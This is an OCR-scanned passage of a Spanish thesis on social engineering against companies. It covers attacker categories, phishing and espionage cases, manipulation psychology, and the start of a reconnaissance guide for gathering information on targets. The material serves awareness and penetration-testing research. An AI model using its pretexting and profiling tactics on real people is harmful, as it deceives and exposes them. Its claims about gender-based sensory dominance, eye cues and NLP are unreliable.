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RESUMEN

Las empresas invierten grandes cantidades en soluciones tecnologicas, para
evitar accesos no autorizados, y se comprometa su informacion sensible
entorno de su negocio, pero no muchas veces toman en consideracion el
factor humano que interviene en estos esquemas de seguridad, pudiendo ser

el eslabdon mas importante y menos atendido en la cadena de seguridad.

La ingenieria social es un método de ataque que es usado por los Hackers,
para obtener informacion sensible de las personas que trabajan en la
empresa, el objetivo es poder utilizar este con sus todas sus técnicas, a favor
de la empresa, para poder evaluar y detectar las potenciales

vulnerabilidades.

Por este motivo una metodologia desarrollada clara y practica realizada por
agentes externos, ayudara a las empresas a poder invertir los recursos

necesarios.
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XVI

INTRODUCCION

Este tema analizar las vulnerabilidades que se presentan actualmente en las
empresas, atacando principalmente el usuario con técnicas de Ingenieria

Social, y demostrar lo viable que poder vulnerar sistemas informaticos.

Los objetivos trazados son: El Analizar y entender a los ingenieros sociales,
sus motivaciones, y basado en este analisis poder entender las posibles
victimas dentro de las empresas. Esto permitira poder evaluar y desarrollar
un marco de trabajo que de la pauta a un desarrollo mas exhausto para

futuras investigaciones.
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CAPITULO 1

1. Ingenieria Social Marco tedrico

En la busqueda dentro de las redes y foros, se puede percibir que la
informacién de los ingenieros sociales, y sus acciones no estan del todo

cubiertas.

En este capitulo se prende conocer quiénes son los ingenieros sociales, sus
implicancias dentro de la historia, una breve resefa de sus técnicas mas
comunes. También evidenciar que las empresas no estan preparadas o las

contramedidas no son conocidas por el personal adecuado.

Y el poder entender el ambito psicolégico por las cuales las personas puede
caer frente a las técnicas de los ingenieros sociales. Adicional las falencias
que estan presentes para comunicar las ideas adecuadas frente a una iniciativa

para protegerse.

1.1. ¢Qué es Ingenieria Social?

1.1.1. Definicién de Ingenieria Social.

La ingenieria social ha venido desarrollandose a lo largo del

tiempo, desde que el ser humano tiene acceso a la computadora,

/—\\
.4
\

\
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se han ingeniado varias técnicas cada una mas creativas que

otras.

Dentro de las multiples definiciones que se puede encontrar de la
ingenieria social, se puede resumir como el proceso de enganar o
manipular a las personas para que den acceso a informacion

confidencial o sensible.

Wikipedia lo define como: "el acto de manipular a la gente para

realizar acciones o divulgar informacion confidencial.” ([REF01])

Mientras que estos términos se asemejan a una estafa o fraude
simple, el termino en si se aplica generalmente a la astucia o
engano con fines de recoleccion de informacion, fraude, o acceso
a sistemas informaticos. En la mayoria de los casos nunca el
atacante (la persona que aplica ingenieria social), se encuentra
cara a cara con la victima.

Muchos han considerado que la ingenieria social es el mayor

riesgo para la seguridad dentro de las empresas.

Desde el punto de vista de seguridad, es una coleccion de
herramientas y técnicas que van desde la negociacion,

manipulacion, ventas, psicologia y hacking ético.



19

En los ataques de ingenieros sociales, vamos a encontrar un
atacante y la victima que puede ser una persona o0 una empresa

que se compone de personas (posibles victimas).

Encontrar buenos ejemplos reales de ataques de ingenieria social
es dificil. Organizaciones de destino, o bien no quieren admitir que
han sido victimas (después de todo, admitir un fallo de seguridad
fundamental no solo es vergonzoso, puede danar la reputacion de
la organizacion) y / o el ataque no estaba bien documentado para
que nadie esta realmente seguro de si habia un ataque de

ingenieria social o0 no.

En cuanto a por qué las organizaciones se dirigen a traves de la
iIngenieria social, es a menudo una forma mas facil de obtener
acceso ilicito a muchas formas de pirateria informatica técnica.
Incluso para los técnicos, a menudo es mucho mas sencillo
simplemente tomar el teléefono y pedirle a una persona de su

contrasena. Y lo mas frecuente es justo lo que un hacker haria.

Otro ejemplo contemporaneo de un atague de ingenieria social es
el uso de archivos adjuntos en e-mails, ofreciendo, por ejemplo,
fotos "intimas" de alguna persona famosa o algun programa
"gratis” (a menudo aparentemente provenientes de alguna

persona conocida) pero que ejecutan codigo malicioso (por
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ejemplo, usar la maquina de la victima para enviar cantidades

masivas de spam).

No tan frecuente la ingenieria social tambien se aplica al acto de
manipulaciéon cara a cara con la victima, para obtener acceso a
los sistemas computacionales. Un ejemplo es el conocimiento y
recaudacion de informacion sobre la victima, a través de la
introduccion de contrasefas habituales, loégicas comunes o
conociendo su pasado y presente, respondiendo a preguntas
como: ;Qué contrasena introduciria yo si fuese la victima? ;Quée

pregunta secreta pondria si fuera la victima?

Historia de los Hackers de Ingenieria Social.

Dentro de la historia de los Hackers, se encuentra uno de los
ingenieros sociales mas famosos de los ultimos tiempos, su
nombre es Kevin Mitnick. Su Nick o apodo fue Condor. También

apodado por el mismo “fantasma de los cables” [REF 2].

En base a su opinion y experiencia, la ingenieria social se basa en
estos cuatro principios:

1. Todos queremos ayudar.
2. El primer movimiento es siempre de confianza hacia el otro.
3. No nos gusta decir No.

4. A todos nos gusta que nos alaben.
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"Las organizaciones gastan millones de dolares en firewalls y
dispositivos de seguridad, pero tiran el dinero porgue ninguna de
estas medidas cubre el eslabon mas débil de la cadena de
seguridad: la gente que usa y administra los ordenadores” -

Kevin Mitnick [REF 3].

1.2. Categoria de los ingenieros Sociales

Ingenieria Social y los que la utilizan pueden dividirse en varias
categorias. Estos van desde espias y hackers profesionales a los

vendedores y gente comun.

1.2.1. Los hackers

Dentro de la categoria de los hackers se distinguen, tres tipos
basicos: Hackers, Crackers, Phreakers, pero en este ensayo nos
referiremos a los Hackers como a las personas que tienen

intenciones maliciosas para la empresa.

Los hackers utilizan la ingenieria social muchas veces debido a
que el factor de la debilidad humana es mucho mas facil de
penetrar que los puntos debiles de la red. Muchas veces los
hackers "ganar" a la hora de la batalla, ya que no estan limitadas
por el tiempo o la falta de motivacion. Mientras que el director lo
normal, se va a casa a las 5 o las 6 pm, el hacker va a funcionar

las 24 horas del dia para llevar a cabo su / su objetivo. Después
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de haber pasado el tiempo y la debida diligencia para investigar
todos los aspectos de la meta que pueden lanzar un ataque total
contra la infraestructura humana que, literalmente, puede devastar
una empresa en cuestion de minutos. La obtencion de informacion
personal, contrasefas, cuentas de usuario remoto y el pirata mas
usara esta informacion para lanzar un ataque de la tecnologia en

el objetivo.

1.2.1.1. Kevin David Mitnick

Uno de los Hackers mas famosos dentro de la historia es
Kevin David Mitnick (nacido el 6 de agosto de 1963) es uno
de los Hackers y phreakers estadounidense mas famosos.
Su nick o apodo fue Condor. También apodado por él

mismo "fantasma de los cables"1

El caso de Kevin Mitnick (su ultimo encarcelamiento)
alcanzd una gran popularidad entre los medios
estadounidenses por la lentitud del proceso (hasta la
celebracion del juicio pasaron mas de dos anos), y las
estrictas condiciones de encarcelamiento a las que estaba
sometido (se le aisld del resto de los presos y se le prohibio
realizar llamadas telefénicas durante un tiempo por su

supuesta peligrosidad).
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Tras su puesta en libertad en 2002, Kevin Mitnick se dedica
actualmente a la consultoria y el asesoramiento en materia

de seguridad, a través de su compania Mitnick Security.

1.2.2. Los Testeadores de Pruebas de intrusion

Un probador o testeador de la penetracion en ingenieria social es
una persona que se pone a prueba sus conocimientos en
busqueda de vulnerabilidades o el acceso no autorizado a los
sistemas.

Los sistemas pueden ir desde redes de computadoras hasta
acceso fisico a los lugares. Probadores de vulnerabilidades puede
utiizar muchos elementos de ingenieria social para obtener

acceso a los sistemas.

Ellos pueden utilizar varias técnicas para la obtencion de
informacion de los empleados incautos para obtener contrasenas,
obtener acceso a la entrada de los edificios, u otro acceso a los

sistemas.

Los probadores de intrusion, son personas preparadas que se
dedican a esta actividad, intentando adelantarse a los atacantes, y
encontrar vulnerabilidades en las companias antes que de sea

muy tarde.
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La ingenieria social es el lado humano de entrar en una red
corporativa. Las empresas con procesos de autenticacion,
firewalls, VPN y software de monitoreo de red son todavia muy
abierto a un ataque si un empleado sin saberlo, da a conocer
informacion clave en un correo electronico, respondiendo a
preguntas por teléfono con alguien que no conocen, o incluso al
hablar sobre un proyecto con companeros de trabajo en un pub

local despues de horas. [REF05].

Probadores de penetracion pueden utilizar cualquier medio para
explotar sus objetivos. Dependiendo del alcance del trabajo no es
raro ver a los probadores de penetracion pueden convertirse en
empleados de la empresa objetivo. Pudiendo tener acceso a un
sin numero de informacién utilizando pretextos para que la gente

lo ayude dando informacion sensibles.

La verificacion de antecedentes es una forma importante para

defenderse contra este tipo de ataque. [REFO05].

1.2.2.1 Ejemplo Wells Fargo

Los clientes de Wells Fargo fueron victimas de un ataque
de ingenieria social que utilizan phishing. Este es un
ejemplo clasico de esta técnica de ingenieria social que
implicaba el envio de un correo electronico a los clientes

pidiéndoles que actualicen su informacion de la cuenta y el
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enlace en el e-mail enviado a un sitio fraudulento. El
atacante utiliza también un sentido de urgencia en el correo
para atraer a sus victimas para seleccionar el enlace e
introducir su informacion. [REFO06].

El ataque incluyo el uso de la investigacion de coédigo
abierto, la obtencidbn de un puesto como empleado
temporal dentro de la meta, la tergiversacion de las
responsabilidades por los abusos temporal, de acceso
fisico, la coordinacion interna de hacking, interna y
facilitacion de hackers externos, recto y hacking externo.
Los resultados fueron asombrosos. Dentro de un dia de las
actividades sobre el terreno, mas de $ 1,000,000,000 de
informacion fue ‘'"robado"  Aunque el firewall era
impenetrable y la tarjeta inteligente impedido el acceso de
los extranjeros, la informacion se ha visto comprometida
casi a voluntad por un allegado. Esto se logré en una
empresa que tiene un tremendo programa de seguridad

técnica. [REFO7].

1.2.3. Los Espias

Los espias de todo el mundo aprenden diferentes métodos de
"enganar” a las victimas haciéndoles creer que es alguien o algo
gue no son. Ademas, para estos casos se ensena el arte de la

ingenieria social, muchas veces los espias también se basara en
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la credibilidad de conocer un poco o mucho sobre el negocio de
un gobierno que estan tratando de enganar.
A veces ocurre un evento de espionagje que es publicado, se
puede aprender de la situacion analizando las técnicas y los
métodos utilizados por los atacantes. Caso de estudio: Los ciber-
espias utilizan redes sociales para enganar a la oficina del Dalai
Lama [REF08]:
“Washington, 30 mar (Xinhua) Un chino ciber-espionaje de
red utilizado sofisticadas téecnicas de ingenieria social para
enganar a ordenador y la oficina del Dalai Lama en la
descarga de software malicioso, segun un experto en
seguridad cibernética.
Los investigadores, con base en el Centro Munk de
Estudios Internacionales de la Universidad de Toronto en
Canada, Domingo informé que el grupo de espias
infiltrados en las computadoras y documentos robados de
cientos de oficinas publicas y privadas de todo el mundo,
incluyendo los de la embajada de India en Washington.
El software se ha unido a los correos electronicos que
supuestamente provienen de colegas o contactos en el
movimiento tibetano, segun el investigador Ross Anderson,
profesor de ingenieria de seguridad en la Universidad de
Cambridge Computer Laboratory, citado por el Washington

Times el lunes.
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El software robo contrasenas y otra informacion, que a su
vez dio el acceso a los hackers sistema de correo
electronico de la oficina y los documentos almacenados en

las computadoras alli [REF08].”

De este caso se puede realizar las siguientes preguntas:
e ;Cudl era su objetivo?
"Que se utiliza sofisticadas técnicas de ingenieria social
para enganar a ordenador y la oficina del Dalai Lama en la

descarga de software malicioso".

e« ¢Como hacer que el personal haga clic en el software?
"El software se ha unido a los correos electronicos que
supuestamente provienen de colegas o contactos en el

movimiento tibetano”

e ¢;Por qué este éxito?
Se juega con la confianza que la mayoria de la gente siente
hacia los demas. Esa confianza hara que la gente da
informacién, haga clic en un enlace y ser demasiado

amable con aquellos que no lo merecen.

Una combinacion de ingenieria social y un ataque del lado del
cliente muestran algunas vulnerabilidades graves en las personas

involucradas. [REF09].
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1.2.4. Los ladrones de identidad

El robo de identidad, es uso no autorizado de informacion, como
por ejemplo los nombres de ciudades, numeros de cuentas
bancarias, direcciones, fechas de nacimiento y numero de seguro
social sin el conocimiento del propietario.

Esto puede ir desde poner un uniforme para hacerse pasar por
una persona o una elaborada estafa que implica la negacion del

servicio. [REF11].

1.2.4.1. Famoso ladrén de identidad - Frank Abagnale

Un ejemplo reciente y popular de robo de identidad se
muestra en la pelicula "Atrapame si puedes" esto se baso
en un imitaciones vida real de Frank Abagnale. Frank en su
vida llega a suplantar a un médico, abogado, inspector de
prisiones, y quizas lo mas famoso fue el suplantar la

identidad de un piloto de aerolinea.

Sus estafas causaron incalculables sumas para las
Aerolineas, ya que Frank volo mas de 1 millones de millas
para mas de 26 paises y alojado en varios hoteles a lo

largo de su camino. [REF12].
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1.2.5. Los empleados descontentos

Hay muchas razones por que los empleados descontentos
pueden llegar ser victimas potenciales para los atacantes.

Las razones fundamentales suelen ser el exceso de trabajo,
malos sueldos, poco apreciado, un ambiente laboral agresivo. A
menudo estas situaciones se reflejan en una relacion conflictiva
con su empleador. Y normalmente se trata de ocultar su nivel de

desagrado para no poner en riesgo su empleo.

1.2.5.1. Aumentar Descontento companero de trabajo

Una situacion comun que los empleados descontentos es
gue se tratara buscar afirmaciones en su descontento,
disminuyendo los niveles de satisfaccion de los otros
empleados. Esto se hace a menudo sin intencion directa
por parte del empleado descontento, ya que el empleado
descontento esta buscando justificacion para su disgusto a

traves del refuerzo social.

1.2.5.1.1. Métodos comunes

e Rumores
o Extremo enfoque en los elementos negativos
e La productividad general disminuye a nivel de

|las conductas
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1.2.5.2. Robo

Aumenta el riesgo de robo con empleados descontentos,
ya que a menudo se sienten como si se les debe mas de lo
gue estan recibiendo. En un intento de corregir esta
discrepancia percibida, el robo de diversos articulos es muy
comun. Elementos focalizados pueden ir desde simples
articulos de oficina, a equipos informaticos, a la propiedad
intelectual de la empresa. Métodos de ingenieria social son
a veces utilizados para justificar o cubrir la desaparicion de

los activos de la empresa.

‘empleados que abandonaron o perdieron sus empleos en
los ultimos 12 meses guardaron los datos corporativos
confidenciales, y el 40% de los empleados tiene previsto

utiizar esos datos en sus nuevos puestos de trabajo’

[REF13].

1.2.5.3 La filtracion de secretos de la compaiiia

En muchos casos, los secretos de la compania, incluyen la
propiedad intelectual, sino también informacion como
organigramas y eventos de empresa a menudo se puede
compartir con extranos por empleados descontentos. Como

empleados descontentos suelen compartir su descontento
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con otras personas fuera de la empresa, la informacion que
se comparte a menudo incluye informacion sensible. El
empleado descontento no se da cuenta de esto, en algunos
casos, y en otros se trata de un esfuerzo intencional para

"devolver el golpe" al empleador.

1.2.5.4 El uso de las redes sociales

Los empleados descontentos son mas propensos a
compartir informacién sensible de la compania a traves del
uso de las redes sociales, como Twitter o Facebook., A
menudo estos empleados estan ansiosos de compartir
informacion negativa con los demas. Esto crea un problema

a largo plazo para la imagen del empresario.

1.2.6. Los Agentes de Informacion

Los agentes de informacién son personas o empresas que se
dedican a recopilar informacion y datos, para proporcionar
servicios de mineria de datos para varias organizaciones, tales
como empresas de gobierno, Servicios de monitoreo de crédito, y
el Departamentos o Ministerios de Defensas. Estas empresas son
un objetivo de alto valor para los ingenieros sociales, ya que
contienen grandes cantidades de informacion que podrian ser
utilizados para elevar aun mas sus actividades de ingenieria

social. Debido a la alta digitalizacion y automatizacion de las
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empresas para tener nuestros datos concentrados, y a esto se
sumas las leyes que lo sustentan, hay empresas que manejan

nuestra informacion personal, como por ejemplo las aseguradas.

1.2.6.1 Agentes de la informacion

Agentes de Informacion utilizan diferentes técnicas para
obtener informacion personal. En el libro, Detener al Hacker
(Halting the Hacker), el autor sefala un ejemplo de como

los agentes obtienen informacion.

"los agentes de informacion obtienen informacion de
la cuenta de los clientes a través de una llamada
telefonica llamando con pretexto. Un corredor
puede llamar y hacerse pasar por un cliente que ha
perdido su numero de cuenta y que necesita ayuda.
Ellos persistentemente llamaran hasta que
encuentren a alguien que esté dispuesto a ayudar

[REF11].”

1.2.6.2 "Hacker sin hogar”

Hacker, que por demostrar sus habilidades se dedican a
realizar substraccion de informacidén, sin ningun fin

aparente.
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Adrian Lamo fue capaz de penetrar en la red del Times y
acceder a una base de datos con informacion personal de
3.000 personas. Con pretextos, Lamo abrid una cuenta a
traves de cuenta del Times con la informacion de Lexis
Nexis Broker y busco informacion adicional almacenada en

los sistemas de LexisNexis. [REF14].

1.2.7. Los Estafadores

El concepto de "estafador" o "Estafador”, son personas que se
dedican al engano, es un delito contra la propiedad o el
patrimonio, a lo largo del tiempo estas personas se han
mantenido, debido al ingenio y técnicas que se van adquiriendo,
esto sumado a la tecnologia que muchas veces es usada con

fines no adecuados.

1.2.7.1 La manipulacién de Incentivos

Normalmente, estos ataques se basan en una
manipulacion de los incentivos, por |lo general, aunque no

siempre financieros, para premiar al agresor.

1.2.7.2 Fraude del pago anticipado

Un ejemplo bien conocido de una linea tradicional de estafa

en movimiento se llama el fraude del pago anticipado. Esto
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es muy comun de las comprar en linea, donde la victima
accede a sitios donde se ofrece unos articulos de interés
(por lo general de articulos de marcas reconocidas a un
precio muy bajo), pero pare ello hay que realizar el pago
anticipado, sin caer en cuenta o investigar si estos sitios

son de confianza o reales.

El Internet ha sido una herramienta increible para el
fraude, lo que permite fraudes a tener éxito con las tasas
de conversion mas bajos debido a la base victima

extendida y expandida [REF15].

1.2.8. Personas dentro del gobierno

Los gobiernos utilizan métodos de ingenieria social de forma
regular como un esfuerzo para influir en la opinion publica para
apoyar las acciones del gobierno. Esto se puede hacer en una
base estructurada por los politicos o por los organismos

gubernamentales.

1.2.8.1. Definicion del personaje

Cuando se habla de ingenieria social en un gobierno, el
término adquiere un conjunto nuevo significado . [2] Por lo
menos en un sentido mas amplio, es la manipulacion de un

grupo mayor de personas a traves de las leyes y principios
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que decirle a la gente lo que es y no es aceptable. Esto no
indica que todo es malo, es decir, una ley sobre el
asesinato y el abuso infantil puede ser una proteccion para

sus ciudadanos. [REF17].

1.2.8.2 El uso de lenguaje

Un meétodo comun de ingenieria social utilizadas por los
gobiernos esta influyendo en el uso del lenguaje para
alterar la opinion publica. Dictando las palabras que se
usan para describir a personas o acontecimientos, los
gobiernos son capaces de enmarcar |los debates de forma

que sea favorable para ellos. [REF18].

1.2.9. Personas Comunes

Los meétodos de ingenieria social son utilizados por muchas
personas comunes y cotidianas. Esto se hace a menudo sin
intencion de hacer algun tipo de daro directo, por la persona que
hace uso de los métodos, sino que se utilizan simplemente porque

son muy eficaces.

1.2.9.1 Los Nifos

Los nifos utilizan métodos de ingenieria social temprano

en la vida. Ellos hacen uso de multiples métodos, siendo el

D
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mas comun en centrarse de hacer feliz al nifo, ya que

todos quieren verlos reir y no llorar.

1.2.9.2 Los padres

Los padres a menudo se centran en que el nino apruebe
sus decisiones, y asi obtener su aprobacion, para ello
utiiza meétodos de ingenieria social. Esto se hace
normalmente a través de la manipulacion de los
sentimientos de culpa o verguenza, y asi motivar al nifio a

tomar y aprobar los deseos de los padres.

1.2.9.3 Servicio al Cliente

Métodos de ingenieria social son empleados por la mayoria
de las areas de servicio al cliente, en su primer contacto
con el cliente. Una manera amistosa, alegre se emplea a
menudo con la intencion de que el cliente refleje este

comportamiento lo que facilita interactuar.

1.2.9.4 Médicos

Los meédicos, suelen usar ingenieria social, para poder
obtener informacion util de sus pacientes, como por
ejemplo su habitos alimenticios, sus aseo personal e
informacion relevante que ayude a dar un diagnostico mas

preciso y eficaz.
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1.2.9.5. Peligros de la "Ingenieria Social Obvia”

Este tipo de ataque se centra en sitios donde es obvio
obtener informacion con un poco de ingenieria social. Por
ejlemplo si un ingeniero social esta apuntando a una
organizacion que hace uso de métodos de ingenieria social
obvias, puede ser posible utilizar una herramienta que
puede ir en contra de la organizacion. Y en esa linea, si la
organizacion objetivo tiene una meta de hacer felices a los
clientes, entonces se puede trabajar con ese conocimiento,
y asi hacerse pasar por un cliente donde demuestre que va
ser feliz si obtiene una informacién sensible de la empresa,

como que le den una contrasena sin identificarse.

1.3. Principios de Psicologia.

Dentro de las diferentes etapas del ataque de un ingeniero social, uno de
los factores principales, son los principios psicologicos y tacticas para

manipular a las personas.

1.3.1. Modos de Pensar

"Simplemente confirmando su comportamiento no verbal para el
cliente, utilizando un lenguaje de sistema preferido de
representacion del cliente y su correspondiente volumen de la

voz, el tono y el area del habla a menudo supera la renuencia del
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cliente a comunicar” - "Habilidades para la construccion de

relaciones sutiles" [REF19].

1.3.1.1 Los Sentidos

El mundo es traido a nuestro cerebro por nuestros
sentidos. Interpretamos los sentidos para darnos nuestra
percepcion de la realidad. En la clasificacion tradicional hay
cinco sentidos:

e Vista

¢ Audicion

e Toque

e Olor

e Sabor

1.3.1.2. Sentido dominante

De todos los sentidos soélo tres tienden a ser uno mas
dominante: vista, oido y tacto. Lo que vemos, |lo
escuchamos o que podemos tocar tocar. Las personas
tienden a tener un sentido mas fuerte por alguna razon. Las

diferencias se han observado entre los sexos.

Cuando uno escucha a las personas se puede facilmente
recoger su sentido dominante. Normalmente, al ver (visual),

el oido (auditiva) y el tacto (kinestésico) son los sentidos
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que son mas fuertes y se muestran mas en la
conversacion. ", Ves lo que digo?", ";Puedes oirlo que
estoy diciendo? ", 0" ,Puedes sentir mis palabras? " La
mayoria de las personas tienden a ser multi-detectados
pero predomina un tema. Los investigadores estan todavia
en discusion acerca de cuanto tiempo permanecen en cada

modo dominante. [REF19].

1.3.1.3 Los sentidos dominantes

1.3.1.3.1 Visual

La mayoria de los hombres tienden a ser visual
dominante. Las mujeres tienden a ser balanceada o
sentido auditivo. Esto se manifiesta en la forma de
ver la television. Los hombres suelen pasar de un
canal a otro, en busca de interesantes aportaciones
visuales, mientras que las mujeres en realidad se
queda en un programa durante unos minutos y
escuchan el dialogo. Frases:

¢ "Veo lo que quieres decir.”

e "Eso se ve bien parami.”

* '"Tengo la imagen ahora."
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1.3.1.3.2. Auditivo

Las mujeres son por lo general auditivas. Durante el
dia los presentadores o locutores saben mantener
animadas las conversaciones que atraen a los
espectadores femeninos. Frases:

e "Altoy claro”

e "Algo me dice .."

e "Eso suena bien para mi."

1.3.1.3.3 Kinestésico

Kinestesico hace referencia a tactil, visceral y el
sentido de  sensaciones automaticas  del
cuerpo. Basicamente, donde nuestro cuerpo toma la
conciencia de si mismo del cuerpo y los sentimientos
que genera. Frases:

e "Puedo entender la idea.”

e ";,CbOmo te parece?"

¢ "Me pondre en contacto con usted."

1.3.1.4. Diseiar para los sexos

Anuncios disenados para hombres y mujeres son
diferentes, en funcion del sentido dominante

diferente. Anuncios disenados para las mujeres tienden a
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tener mas palabras, mientras que los anuncios de los

hombres tienen mas fotos [REF19].

1.3.2. Senales de los ojos

Las senales de los ojos es una forma de conocer a las personas,

puede ser una herramienta muy util para aproximarse a la victima.

"Yo no necesito un libro de citas para saber que los 0jos

son las ventanas del alma." - Max Beerbohm'

1.3.2.1 Linea Base

Mientras que los ojos son los mas faciles de ver, son los
mas dificiles de interpretar. Las diferencias basicas en
actividades culturales, las costumbres, el sexo o la religion
pueden todos cambiar la forma de usar sus ojos durante la
conversacion. Una de las primeras cosas importantes que
hacer es fijarse en los patrones normales de contacto
ocular. ;,Se aparta la mirada, se mantiene mirada fija en los
0jO0S u se oculta su rostro? Son preguntas que nos ayudan

a determinar un patrén o una linea base

' Max Beerbohm Ensayista, critico y caricaturista inglés



42

1.3.2.2 Contacto con los ojos

Ciertas senales dadas por los ojos puede ayudar a
encontrar las areas que necesitan mas investigacion. El
control de la duracion del contacto con los o0jos tambiéen
puede dar pistas sobre las areas que podrian requerir de
mayor investigacion. ;Es que mirar hacia otro lado o hacia
abajo durante un determinado tema? Ese es el tema para

futuras investigaciones.

Cuando se evaluan las senales visuales hay que ser
consciente de que las senales visuales no solo los ojos,
sino tambien todas las sefiales o0 posturas
fisicas. Especialmente es importante el darse cuenta si los
0jos miran hacia un lado u otro, lo que normalmente es un
didlogo interno por lo general anuncia un cambio en la
mentalidad. La gente usalentes de contacto para ver
mejor, suele significa que no se esconde detras de las

sefales de un par de gafas.

1.3.2.3. Pupilas

Un seguimiento de los cambios de la respuesta de la
pupila, es también una base importante para la evaluacion

de las personas. Las pupilas generalmente se contraen con
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miedo o0 enojo. Las sorpresas y el susto pueden causar

dilatacion de las pupilas.

1.3.2.4. Incongruencias verbales

Un ambito importante en el seguimiento de la comunicacion
visual y analizar las posibles incongruencias verbales. Una
forma es respondiendo a las pregunta ;Sus 0jos coinciden
con sus palabras?, decir las palabras o lo que expresa,

¢, Coinciden con sus gestos visuales?

1.3.2.5. Sanpaku

Sanpaku se refiere a una condicion ocular en la que el
tamano relativo del iris es de aproximadamente un cuarto
del globo ocular visible (de ahi su nombre en japonés, que
significa Tres blancos). La creencia asocia esta condicion
con rasgos caracterologicos del individuo que la presenta,
aunque no existe evidencia cientifica alguna que la apoye.

Se suele relacionar a un estrés extremo. [REF20].

1.3.2.6. Senales de los ojos

Algunas personas consideran que los 0jos pueden revelar
lo que esta sucediendo en el cerebro. Se puede notar que
las personas mueven sus ojos en diferentes direcciones

mientras hablan. Se cree que el movimiento del ojo se



a4

correlaciona con lo que la gente piensa. Un sistema ha sido

desarrollado basado en el sentido dominante del orador y

la direccion que el orador mueve sus 0jo. A continuacion

una tabla de referencia que ayuda a distinguir los sentidos

dominantes. REF[51].

Tabla 1-1. Sentido Dominantes de sefiales de los ojos

Modelo Sensorial

Direccion de la mirada

Verbal Hacia un lado
Visual Arriba, a los lados
Cinetica Abajo a lado

Tabla 1-2. Descripcién de Abreviaturas

ABREVIATURAS
VC - Visual VR - Visual
Construido Recordatorio
AC - Auditivo V - Visual Construido / AR — Auditivo
Construido Recordatorio Recordatorio
K - kinestésica Ai - Auditivo Digital
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Ar

Figura 1-1. Tendencia comportamiento basado en la mirada’ REF[51].

1.3.3. Las micro-expresiones

Una micro-expresion es una momentanea e involuntaria expresion
facial mostrada en la cara de las personas de acuerdo con las
emociones percibidas. Suelen ocurrir en situaciones con un alto
riesgo, donde la persona tiene mucho que ganar o perder. A
diferencia de las expresiones faciales comunes es muy dificil
esconder las micro-expresiones. Las micro-expresiones expresan
siete emociones universales: Asco, Enojo, Miedo, Tristeza,
Felicidad, Sorpresa y el Desprecio. No obstante, en los 90s, Paul
Ekman expandio la lista de emociones basicas, incluyendo el

rango de emociones positivas y negativas.

“ NOTA: Esto puede ser diferente en las personas zurdas.



46

Los musculos faciales suelen realizar movimientos involuntarios
cuando el cuerpo esta bajo estrés. El pequeno tamano de estos
musculos mas el movimiento rapido hace que estos dificil de
percibir para el ojo no entrenado. Con una duracion de solo 1/25

de un segundo. [REF21].

1.3.4. Programacion Neuro-Lingiiistica (PNL)

Como se senala en Wikipedia: "Programacion Neuro-Linguistica
(PNL) se define en el Diccionario Inglés de Oxford como" un
modelo de comunicacion interpersonal ocupa principalmente de la
relacion entre los patrones de conducta exitosos y las

experiencias. [REF21].

1.3.4.1 Cédigos de la PNL

La década de 1970 PNL tenia un cédigo que es el érgano
colectivo de aprendizaje y la investigacion que genero los
primeros libros y la programacion Neuro-linguistica plazo. A
medida que pasaba el tiempo John Grinder y otros han
seguido actualizando el campo de la PNL. El "Nuevo
Cadigo de la PNL" ha creado un marco ético y estético para

el desarrollo de la PNL.



47

1.3.4.1.1 Viejo Codigo de la PNL

El codigo "viejo" o clasico se basa en la clasificacion
de determinadas distinciones linguisticas,
conductuales y sensoriales. La practica del discurso
a juego, estilo sensorial dominante y la duplicacion
son parte de este estilo mas antiguo. Varias otras
practicas incluyendo el cambio de tiempo, trance,
metaforas y replanteo. La vieja escuela contaba con
10 principios que se desarrollaron en el trabajo
original sobre PNL:

1. Nadie esta equivocado o roto. La gente
trabaja perfectamente para lograr lo que estan
logrando.

2. Las personas que ya tienen todos los
recursos que necesitan.

3. Detras de cada conducta es una intencion
positiva.

4. Cada comportamiento es util en algun
contexto.

5 El significado de la comunicacion es la
respuesta que obtienes.

6. Si usted no esta recibiendo la respuesta que
desea, haga algo diferente.

7. No hay tal cosa como un fracaso. Hay solo

retroalimentacion.
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8 En cualquier sistema, el elemento con la
mayor flexibilidad ejerce la mayor influencia.

9. El mapa no es el territorio.

10.Si alguien puede hacer algo, cualquier

persona puede aprender.

Estas son las senas de identidad de la clasica
formacion de PNL. [REF21].

1.3.4.1.2 Nuevo Cdédigo de la PNL

Los nuevos codigos se basan en los conceptos de
codigo clave de "estados", "relaciones consciente /
inconsciente" y "filtros perceptuales”. Y comprender
la relacion entre los elementos en el sistema.

Estos cambios estan disefiados para buscan ayudar
a los profesionales a pensar en nuevas formas y
sistemas. Muchos de los pensamientos del nuevo
codigo se estan ensenando ahora como parte de la

norma de cursos de PNL [REF21].
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1.4. Ingenieria Social como primer paso de Ataque.

La ingenieria social es considerada dentro de los primeros pasos a tener

en cuenta para obtener informacion de la empresa o su victima.

1.4.1. Conociendo a tu victima

El éxito de la ingenieria social, es conocer a la victima y poder
tener un perfil de sus gustos y preferencia, esto lleva su tiempo, y
requiere ser muy observador, mas si no se quiere tener contacto
con la victima.

Toda la informacion que se pueda obtener es importante y no
debe ser descarta a la ligera.

La victima en muchos casos es una empresa, por ende es

necesario recopilar toda la informacion necesaria para la misma.

1.4.2. Recolectando informacion

En ingenieria social uno de los mayores aportes, es cuanta mas
informacion personal se tiene de la persona objetivo, mas facil
sera conseguir sacar lo que se desea a traves de esa persona, de
ahi la importancia de recolectar informacion. Algunos buenos
sitios para este proposito son:

e Internet, tan sencillo como buscar su nombre en Google o
si tiene perfil en redes como Linked In, Facebook, Twitter,
MySpace, etc. Muchas personas lo hacen con otros
empleados dentro de la empresa.

e Objetos en su zona de trabajo.
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e Conocidos y companeros de trabajo.

e |Intereses, pautas de  comportamiento, lugares
frecuentados.

e Papelera, un trabajo sucio pero puede esconder
informacion para comprender la mente de la persona.

[REF22].

Al querer realizar una metodologia o0 pasos de Ingenieria Social,
existen varias metodologias a seguir, en todas existe una etapa

llamada “Recopilacion de informacion”.

Es prudente recalcar que existen diversos métodos y medios para
recopilar informacion a cerca de un objetivo (En este caso una
empresa), el objetivo de este estudio es recopilar los mas
comunes. Es de wvital importancia, saber categorizar
correctamente dichos datos recopilados puesto que el volumen

podria ser abismal. Algunos medios para recopilar informacién:

1.4.2.1. Paginas webs

Lo mas basico es comenzar a recopilar informacion de la
pagina web de la empresa, todo lo relacionado con ella
(Esto incluye los diferentes trabajadores y empresas

asociadas). Por Ejemplo:

e ;A qué se dedica la empresa?
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e ;Qué productos y servicios venden?

e Localizacion fisica

e Puestos de trabajo disponibles

e Numeros de teléfono

¢ Direcciones de correos (Direcciones concretas,
formato de composicion de la misma, etc.)

e Biografias de ejecutivos, directores, trabajadores,
etc.

